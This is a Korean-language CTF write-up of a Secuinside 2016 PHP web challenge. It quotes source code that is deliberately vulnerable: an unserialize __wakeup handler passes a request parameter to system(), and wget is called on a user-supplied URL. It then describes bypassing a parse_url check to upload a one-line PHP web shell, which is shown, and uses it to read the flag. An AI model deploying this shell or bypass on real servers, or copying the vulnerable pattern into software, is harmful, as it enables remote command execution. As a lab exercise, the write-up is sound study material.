해당 문제에 대한 주어진 정보이다.
/(root)에 있는 flag를 읽는 것이 목적이다.
문제에서 Source가 주어졌으며 이를 분석해보자.
(https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859)
<?php error_reporting(E_ALL); ini_set('display_errors', 'On'); ini_set('allow_url_fopen', 'On'); // yo! $session_path = ''; class MyClass { function __wakeup() { system($_GET['cmd']); // come onn! } } function onShutdown() { global $session_path; file_put_contents($session_path. '/pickle', serialize($_SESSION)); } session_start(); register_shutdown_function('onShutdown'); function set_context($id) { global $_SESSION, $session_path; $session_path=getcwd() . '/data/'.$id; if(!is_dir($session_path)) mkdir($session_path); chdir($session_path); if(!is_file('pickle')) $_SESSION = array(); else $_SESSION = unserialize(file_get_contents('pickle')); } function download_image($url) { $url = parse_url($origUrl=$url); if(isset($url['scheme']) && $url['scheme'] == 'http') if($url['path'] == '/avatar.png') { system('/usr/bin/wget '.escapeshellarg($origUrl)); } } if(!isset($_SESSION['id'])) { $sessId = bin2hex(openssl_random_pseudo_bytes(10)); $_SESSION['id'] = $sessId; } else { $sessId = $_SESSION['id']; } session_write_close(); set_context($sessId); if(isset($_POST['image'])) download_image($_POST['image']); ?> <img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />
ini_set('allow_url_fopen', 'On');
allow_url_fopen이 On되어있는걸로 봐서 LFI나 RFI취약점이 있을거라 예상하였다.
우선 사이트로 접속을 해보면 엑박이 페이지에 출력된다.
http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png
상위 폴더로 올라가보면 Directory Listing 가능하다.
http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/
존재하는 파일은 pickle이다.
pickle의 내용은 쓸모가 없는 내용이다.
다시 Source로 돌아가보면 download_image를 통해 이미지를 다운로드 하는데 POST값으로 image를 넘기고, 이 값에 parse_url한 값의 path부분이 /avatar.png인 경우 wget명령어를 통해 이미지 파일을 다운 받는다.
"http://0.0.0.0/avatar.png?n=shpik"의 주소에서 parse_url의 path부분은 /avatar.png가 되므로 ?뒤에 .php를 붙이는 것으로 parse_url를 우회하여 다음과 같은 웹쉘을 업로드 하였다.
<?php system($_GET['c']);?>
이를 통해 /(root)에 `flag_is_heeeeeeeereeeeeee`란 파일이 존재함을 알았다.
http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png%3f3.php?c=/flag_is_heeeeeeeereeeeeee
flag is
[ 1-day is not trendy enough ]
'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글
Secuinside 2016 후기 (0) | 2016.07.13 |
---|---|
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts (0) | 2016.07.13 |